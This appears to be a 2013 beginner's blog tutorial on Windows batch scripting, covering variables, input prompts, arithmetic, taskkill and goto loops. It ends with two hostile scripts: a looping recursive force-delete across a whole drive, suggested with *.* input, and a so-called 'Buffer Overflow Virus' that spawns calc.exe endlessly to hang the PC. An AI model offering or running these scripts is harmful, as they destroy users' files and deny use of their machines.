Tuesday, 22 January 2013

Batch Programming for beginners-Part1

Salam everyone
i m writing this thread for beginners..and i hope u will appreciate it
this thread is on simple batch codes..and in next thread i will discuss advanced level things like conditional if else statements and dealing with registry
So lets start

DOS Variables:in dos there are 2 types of variables
1-Local Environment Variables
2-User Defined variables


1-Local Environment Variables are the variables used by windows..to check these variables and there values just open cmd
and type following command
code:
set
a lot of data will appear on screen.. i.e. HOMEDRIVE=C: , USERNAME=ZAHID etc
here "HOMEDRIVE" is variable name and "C:" is its value
to use value of variable we place % sign at start and end of variable name i.e. %HOMEDRIVE% , %USERNAME% etc
run following commands on cmd and check output values of local var


echo %HOMEDRIVE%
echo %USERNAME%

u can use advanced commands with these variables like this

code:
cd %HOMEDRIVE%
net user %USERNAME%

2-User Defined Variables are defined by users.In DOS to declare a variable we use command "set" (without quotes)
Basically there are 2 types of user defined variables
1-Prompting------------> set /p (declaration command)
2-Arithmetic-----------> set /a (declaration command)



@echo off
echo Enter Choice
set /p choice=
echo Your Choice is %choice%
pause
exit


write this code in notepad and save it with .bat extension i.e. zahid.bat and run it

code briefing:
here in this code @echo off won't echo (display) our input commands rather it will just display outputs of those commands
on 3rd line i m creating a variable named "choice" ..its being created by /p switch../p denotes prompting type variables
..this variable will prompt user for an input and on 4th line i m displaying output of variable "choice" ..pause command halts code execution
and prompts user for pressing any key to proceed further


code:
@echo off
echo Enter X
set /p x=
echo Enter Y
set /p y=
set /a sum=x+y
echo sum:%sum%
pause
exit

Make bat file and run it

Code Briefing:
in above code we are getting 2 variables x and y by prompting variables.and after that we are getting their sum by arithmetic variable

now as we have got basics of variables in DOS ..so lets use these

I m now going to make a batch file which will kill running process


Task killer batch file:
======================

Code:
@echo off
title Task Killer
color 0A
echo *************Welcome to Task Killer**************
set /p task="Enter task name you want to kill:"
taskkill /IM %task%
pause
exit

Code Briefing:
taskkill command is used to kill tasks..for further information about it type

code:
taskkill /?

in cmd and get its all info
color command is used to change background and text color of cmd ..it accepts hex values in its parameter i.e. color 0A in this zero value will change background color and HEX value "A" will change text color ..try different values for fun ..i.e.color FF ,color 05 etc
title command gives title to running cmd console which appears on top of command prompt window..


Make bat file and run it..to verify it run firefox ..and in our batch script give input "firefox.exe" ..our batch file will kill this process
and would prompt a success msg

Note:(following 2 codes are same so don't get confuse with variable declaration)


set /p task="Enter"

and

echo Enter
set /p task=

---------------------------------------------------------------------
now lets make some rocking code

this following batch file will delete provided file from dir and all sub-directories of a drive ..cool


File Deleting Batch Code
========================
@echo off
title Delete Destruction Code
color 0C
:loop
echo =============Welcome to Delete Destruction Code================
echo.
set /p drive="Enter the logical drive where file exists(i.e. C:)"
echo.
%drive%
set /p file="Enter File name to be deleted from whole logical drive(i.e. zahid.txt):"
del /F /Q /S %file%
goto loop
pause
exit


Code Briefing:
in above code i used " :loop " ...this notation is called label..after a colon sign u can use any name to declare a label i.e. :home , :back etc
each and every command written after a label declaration will inside the body of label ..
goto command is used to jump to some label ..like in this code we used goto command to jump to label named loop and running our code repeatedly

Make bat file of it and run it..u can give *.* input to delete all available files on logical drive ..so bros use it on ur own risk



Buffer Overflow Virus
=====================

Code:

@echo off
title Buffer Overflow Virus
color 0C
echo Welcome to Buffer Overflow Virus
echo.
:virus
start /max calc.exe
goto virus

exit

Code Briefing:
start command is used to start any application through DOS... /max switch indicates that all opened apps will be maximised after opening

Save it as bat file and run it ...it will make u restart ur PC

Remeber me in ur prayerz